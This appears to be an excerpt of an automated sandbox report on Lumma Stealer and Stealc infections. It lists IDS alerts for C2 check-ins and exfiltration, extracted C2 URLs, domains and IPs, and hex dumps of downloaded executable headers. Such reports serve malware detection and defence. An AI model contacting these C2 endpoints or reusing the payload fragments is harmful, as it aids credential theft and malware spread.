Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:58339 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:60413 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:61578 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:53985 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:53415 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:49276 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:59706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:61936 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59425 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59428 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59437 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59442 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49714 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49767 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49743 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49711 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49997 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50014 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50012 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50014 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49999 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49999 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50015 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49753 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50015 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50003 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:59424 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:59436 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:59429 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:59429 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:59439 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50044 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50002 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50002 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:59438 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:59427 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:59427 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50011 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50042 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50010 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 38

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:57:22 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:57:45 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:05 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:09 GMTContent-Type: application/octet-streamContent-Length: 2930688Last-Modified: Thu, 24 Oct 2024 02:50:21 GMTConnection: keep-aliveETag: "6719b5ed-2cb800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 40 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 30 00 00 04 00 00 75 d9 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 64 75 77 6e 76 79 00 30 2a 00 00 00 06 00 00 22 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6a 72 6c 6e 67 77 7a 00 10 00 00 00 30 30 00 00 04 00 00 00 92 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 30 00 00 22 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:19 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:28 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 01:44:18 GMTConnection: keep-aliveETag: "6719a672-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 